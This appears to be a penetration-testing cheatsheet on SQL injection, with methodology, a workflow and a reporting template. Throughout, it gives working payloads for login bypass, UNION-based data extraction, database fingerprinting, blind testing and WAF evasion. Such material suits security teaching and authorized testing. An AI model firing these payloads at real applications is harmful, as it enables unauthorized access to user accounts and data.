🛡️ Methodology Checklist

  • Identify injection point: test ' in all params
  • Confirm SQLi: check for DB errors, boolean responses, timing
  • Determine injection type: in-band (UNION), blind (boolean/time), out-of-band
  • Identify DB backend from error syntax or version function: SELECT @@version / SELECT version()
  • Map structure: databases → tables → columns
  • Extract target data
  • Test for privilege escalation (FILE, xp_cmdshell, INTO OUTFILE)

🎯 Operational Context

Use when: Web application makes database queries with user-supplied input — test for SQL injection before any other web vulnerability. Think Dumber First: Add ' to every input field and check for error messages or behavior changes. Error = likely injectable. No error but different response = blind injectable. ' OR '1'='1 in login = auth bypass. These are the first three tests, always. Skip when: Application clearly uses ORM with parameterized queries (visible in error messages/stack traces) — still test, but expect it to be secure.


⚡ Tactical Cheatsheet

CommandTactical Outcome
'Initial probe — triggers syntax error if injectable
admin' OR '1'='1Auth bypass (trailing quote absorbed by backend’s closing quote)
' OR '1'='1Universal bypass (inject into both username and password fields)
admin'-- -Comment-out password check (MySQL: trailing space mandatory)
admin')-- -Balanced parenthesis + comment for nested SQL queries
admin'# / admin'%23Hash comment (URL-encode # to prevent browser anchor stripping)
cn' ORDER BY 1-- -Column count via ORDER BY — increment until “Unknown column” error
cn' UNION SELECT 1,2,3,4-- -Column count via UNION — increment until “different number of columns” error stops
cn' UNION SELECT NULL,NULL,NULL,NULL-- -NULL padding (bypasses strict data type constraints)
cn' UNION SELECT 1,@@version,3,4-- -Identify reflection points and fingerprint DBMS
id=-1' UNION SELECT ...-- -Force original query to return empty (force UNION results to first row)

🔬 Deep Dive & Workflow

SQLi Types (BEUSTQ)

TypeSpeedRequires
UNION-basedFastest — whole tables per requestVisible output column
Error-basedFast — data leaked in error messagesDBMS error display
Boolean blindMedium — 1 byte per TRUE/FALSE comparisonResponse difference
Time-based blindSlowest — SLEEP() delaysPatience
Stacked queriesFull controlDBMS support (NOT MySQL)

MySQL stacked queries are NOT supported — cannot inject ; DROP TABLE ... in MySQL.

Auth Bypass Logic

-- Developer's intended query:
SELECT * FROM logins WHERE username='<X>' AND password='<Y>';
 
-- Injection: admin' OR '1'='1
-- Note the LACK of closing quote — the developer's own quote closes it:
SELECT * FROM logins WHERE username='admin' OR '1'='1' AND password='anyvalue';
 
-- Comment bypass:
SELECT * FROM logins WHERE username='admin'-- -' AND password='anyvalue';
-- Everything after -- - is commented out

Comment Syntax

-- -       ← MySQL dash-dash-space (trailing space is MANDATORY; extra dash ensures it)
#          ← MySQL hash (URL: %23 or + after --)
/* */      ← Inline comment (less common for auth bypass)
 
-- URL-encoded (GET requests / browser bar):
'--+       ← space encoded as +
'%23       ← # encoded as %23

UNION Attack Setup

Two-step process before extracting data:

Step 1: Count columns

-- METHOD A: ORDER BY (works until error)
cn' ORDER BY 1-- -     ← success
cn' ORDER BY 4-- -     ← success
cn' ORDER BY 5-- -     ← "Unknown column '5' in 'order clause'" → 4 columns
 
-- METHOD B: UNION SELECT (works at success)
cn' UNION SELECT 1,2,3-- -      ← ERROR 1222 (different column count)
cn' UNION SELECT 1,2,3,4-- -    ← success → 4 columns

Step 2: Find reflection points

cn' UNION SELECT 1,2,3,4-- -
-- If page shows "2, 3, 4" → columns 2, 3, 4 are visible
-- If original query still returns first row, force empty:
cn' UNION SELECT 1,2,3,4 WHERE id=-1-- -   ← or use non-existent value

Step 3: Verify data extraction

cn' UNION SELECT 1,@@version,3,4-- -

Parenthesis Balancing

Error message: "You have an error in your SQL syntax" — success! Inspect the error for clues:

-- Backend: SELECT * FROM logins WHERE (username='X' AND id > 1) AND password='Y'
-- Payload needed:
admin')-- -
-- Result: WHERE (username='admin')-- -' AND id > 1) AND password='Y'

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Single quote causes 500 errorInjectable but need to determine typeCheck error message: MySQL vs MSSQL vs Oracle syntax in error reveals DB type
No error but different responseBlind SQLiTest boolean: ' AND 1=1-- (normal) vs ' AND 1=2-- (different response)
Auth bypass not workingWrong comment syntaxTry all: '--, '#, '/*, ') OR ('1'='1; test in username and password fields separately
Input sanitized but error still occursSecond-order SQLiPayload stored then executed elsewhere; register with SQLi payload as username, trigger in profile
WAF blocking basic payloadsSignature-based WAFUse case variation: SeLeCt, /**/union/**/, 0x53454c454354 (hex-encoded SELECT)

📝 Reporting Trigger

Finding Title: SQL Injection Authentication Bypass on Login Form Impact: Authentication bypass via SQL injection allows unauthenticated access to the application as any user including administrators, compromising all application data and functionality without valid credentials. Root Cause: Login query constructed via string concatenation: SELECT * FROM users WHERE username='[INPUT]' AND password='[INPUT]'. User input interpreted as SQL syntax. Recommendation: Implement prepared statements for all authentication queries. Use password hashing (bcrypt) so even if SQLi is present, plaintext passwords are not in the database. Apply WAF SQLi rules as defense-in-depth.